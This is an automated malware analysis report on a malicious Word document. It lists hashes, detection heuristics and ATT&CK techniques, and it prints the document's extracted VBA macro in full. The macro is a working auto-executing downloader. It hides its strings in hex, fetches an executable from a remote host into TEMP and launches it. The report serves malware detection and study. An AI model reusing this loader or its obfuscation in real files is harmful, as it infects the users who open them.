Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e703aef67351b56c…

MALICIOUS

Office (OLE)

51.5 KB Created: 2015-01-08 17:48:00 Authoring application: Microsoft Office Word First seen: 2015-01-15
MD5: 625dd97b2495691ea687adb122749508 SHA-1: 0e190079bca0396bb5a36b321e78d79107e135d9 SHA-256: e703aef67351b56c9f0d9445382ddeb15af0b852397d310944a1b654fe880d10
384 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that are triggered by AutoOpen and Workbook_Open events. These macros utilize the URLDownloadToFile API, indicating an intent to download and execute a second-stage payload from a remote source. The obfuscated nature of the VBA code and the use of auto-execution macros are common characteristics of malware downloaders.

Heuristics 11

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        irtwef = Environ(HexToString("54454D50")) & HexToString("5C424742756967627567554947372E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2668 bytes
SHA-256: 6568cc33f169a74797ada3aba3406c00c2ffbd756902e1bf5bad595e6496a616
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function DeleteUrlCacheEntry Lib "wininet" Alias _
        "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long

    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function DeleteUrlCacheEntry Lib "wininet" Alias _
        "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long

    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If
Public Function HexToString(ByVal hextext As String) As String
    
For y = 1 To Len(hextext)
    num = Mid(hextext, y, 2)
    Value = Value & Chr(Val("&h" & num))
    y = y + 1
Next y

HexToString = Value
End Function
Sub Gjvksdfsdf()

Dim lZQxseyO As Integer
lZQxseyO = 1
Do While lZQxseyO < 38
DoEvents: lZQxseyO = lZQxseyO + 1
Loop

UGivgHgfdg
End Sub
Sub AutoOpen()

Dim uLSlxfLf As Integer
uLSlxfLf = 8
Do While uLSlxfLf < 74
DoEvents: uLSlxfLf = uLSlxfLf + 1
Loop

    Gjvksdfsdf
End Sub
Sub Workbook_Open()

Dim pTXYsseR As Integer
pTXYsseR = 6
Do While pTXYsseR < 85
DoEvents: pTXYsseR = pTXYsseR + 1
Loop

    Gjvksdfsdf
End Sub
Sub UGivgHgfdg()

Dim kRbmYNKP As Integer
kRbmYNKP = 8
Do While kRbmYNKP < 67
DoEvents: kRbmYNKP = kRbmYNKP + 1
Loop

    fdgdfg = HexToString("687474703A2F2F6E7562736A61636B626F782E6F626F726F64756B692E636F6D2F6A732F62696E2E657865")

Dim AEtCJJVU As Integer
AEtCJJVU = 3
Do While AEtCJJVU < 48
DoEvents: AEtCJJVU = AEtCJJVU + 1
Loop

    irtwef = Environ(HexToString("54454D50")) & HexToString("5C424742756967627567554947372E657865")

Dim VCMGYmnj As Integer
VCMGYmnj = 7
Do While VCMGYmnj < 31
DoEvents: VCMGYmnj = VCMGYmnj + 1
Loop

    dsfFfdg = URLDownloadToFile(0&, fdgdfg, irtwef, 0&, 0&)

Dim mjIUwCeN As Integer
mjIUwCeN = 1
Do While mjIUwCeN < 13
DoEvents: mjIUwCeN = mjIUwCeN + 1
Loop

    Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
iergerv.Open irtwef
End Sub

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